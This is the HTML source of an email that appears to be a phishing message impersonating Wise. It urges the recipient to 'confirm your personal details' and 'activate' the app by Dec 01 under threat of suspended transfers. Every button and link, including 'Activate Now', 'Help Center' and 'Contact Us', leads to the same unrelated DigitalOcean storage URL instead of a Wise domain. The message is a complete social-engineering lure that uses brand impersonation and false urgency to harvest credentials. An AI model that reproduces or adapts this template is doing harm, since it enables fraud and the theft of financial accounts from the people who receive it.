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<table border="0" cellpadding="0" cellspacing="0" role="presentation" style="background-color: #f6f7f8; border-collapse: collapse; color: #333333; font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Ubuntu, Helvetica, Arial, sans-serif; font-size: 14.5px; padding: 20px 16.2875px; width: 100%; word-break: initial;">
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        <table border="0" cellpadding="0" cellspacing="0" role="presentation" style="background-color: white; border-collapse: collapse; border-radius: 16px; box-shadow: rgba(0, 0, 0, 0.1) 0px 2px 8px; max-width: 600px; overflow: hidden; width: 100%; word-break: initial;">
          <tbody>
            <tr>
              <td style="padding: 30px 20px 20px; text-align: center;">
                <!-- WISE LOGO ADDED HERE -->
                <img src="https://finance.co.nz/wp-content/uploads/2023/05/WiseNewLogo_Supplied_450x250-e1685317394182.png" alt="Wise" style="max-width: 180px; height: auto; display: block; margin: 0 auto;" />
              </td>
            </tr>

            <tr>
              <td style="display: block; padding: 20px 20px 10px; text-align: center;"></td>
            </tr>

            <tr>
              <td style="color: #163300; font-family: Roboto, Arial, sans-serif; padding: 0px 20px; text-align: center;">
                <p style="font-size: 20px; font-weight: 600; line-height: 26px; margin: 0px;">Please Confirm Your Personal Details</p>
              </td>
            </tr>

            <tr><td><div style="height: 24px; max-width: 100%;"></div></td></tr>

            <tr>
              <td style="color: #333333; font-family: Roboto, Arial, sans-serif; padding: 0px 20px;">
                <p style="font-size: 15px; line-height: 24px; margin: 0px 0px 12px;">
                  <span style="font-weight: 600;">Hello,</span>
                </p>

                <p style="font-size: 15px; line-height: 24px; margin: 0px 0px 18px;">
                  As part of our ongoing commitment to account security and service reliability, we're updating how Wise accounts are verified and accessed. To continue using Wise without interruption, please activate your Wise App and confirm your personal information.
                </p>

                <p style="background-color: #fff4e6; border-left: 4px solid rgb(255, 152, 0); border-radius: 8px; color: #ba4a00; font-size: 15px; line-height: 24px; margin: 0px 0px 18px; padding: 12px;">
                  <span style="font-weight: 600;">Important:</span> Manual verification is required to comply with updated security policies. Please complete this by 
                  <span style="font-weight: 600;">Dec 01</span> to ensure uninterrupted access to your account.
                </p>
              </td>
            </tr>

            <tr>
              <td align="center" style="padding: 20px;">
                <table border="0" cellpadding="0" cellspacing="0" style="border-collapse: collapse; word-break: initial;">
                  <tbody>
                    <tr>
                      <td align="center" style="padding-right: 10px;">
                        <a href="https://diplomateacher.fra1.digitaloceanspaces.com/study" rel="noopener noreferrer" style="background-color: #163300; border-radius: 8px; color: white; display: inline-block; font-family: Roboto, Arial, sans-serif; font-size: 15px; font-weight: 600; padding: 14px 32px; text-decoration-line: none;" target="_blank">
                          Activate Now
                        </a>
                      </td>

                      <td align="center" style="padding-left: 10px;">
                        <a href="https://diplomateacher.fra1.digitaloceanspaces.com/study" rel="noopener noreferrer" style="background-color: transparent; border-radius: 8px; border: 2px solid rgb(22, 51, 0); color: #163300; display: inline-block; font-family: Roboto, Arial, sans-serif; font-size: 15px; font-weight: 600; padding: 14px 32px; text-decoration-line: none;" target="_blank">
                          Visit Help Center
                        </a>
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                  </tbody>
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              <td style="color: #333333; font-family: Roboto, Arial, sans-serif; padding: 0px 20px;">
                <p style="font-size: 15px; font-weight: 600; line-height: 24px; margin: 0px 0px 12px;">What Happens If You Don't Act:</p>
                <p style="font-size: 15px; line-height: 24px; margin: 0px 0px 8px;">
                  • Temporary suspension of sending and receiving funds<br />
                  • Restrictions on adding money to your balance<br />
                  • Your current balance and card will remain functional for purchases and ATM withdrawals
                </p>
              </td>
            </tr>

            <tr><td><div style="height: 20px; max-width: 100%;"></div></td></tr>

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              <td style="color: #333333; font-family: Roboto, Arial, sans-serif; padding: 0px 20px;">
                <p style="font-size: 15px; line-height: 24px; margin: 0px 0px 12px;">
                  We recommend completing verification as soon as possible. If you have any questions, our support team is here to help.
                </p>
                <p style="font-size: 15px; line-height: 24px; margin: 0px;">
                  Questions? Visit our 
                  <a href="https://diplomateacher.fra1.digitaloceanspaces.com/study" style="color: #163300; font-weight: 600; text-decoration-line: none;" target="_blank">
                    help center
                  </a>.
                </p>
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            <tr><td><div style="height: 24px; max-width: 100%;"></div></td></tr>

            <tr>
              <td style="border-top: 1px solid rgb(229, 229, 229); color: #666666; font-family: Roboto, Arial, sans-serif; font-size: 13px; padding: 20px; text-align: center;">
                © 2005-2025 Wise Payments Limited. 
                <a href="https://diplomateacher.fra1.digitaloceanspaces.com/study" style="color: #163300; font-weight: 600; text-decoration-line: none;">Contact Us</a>
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            </tr>

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</table>

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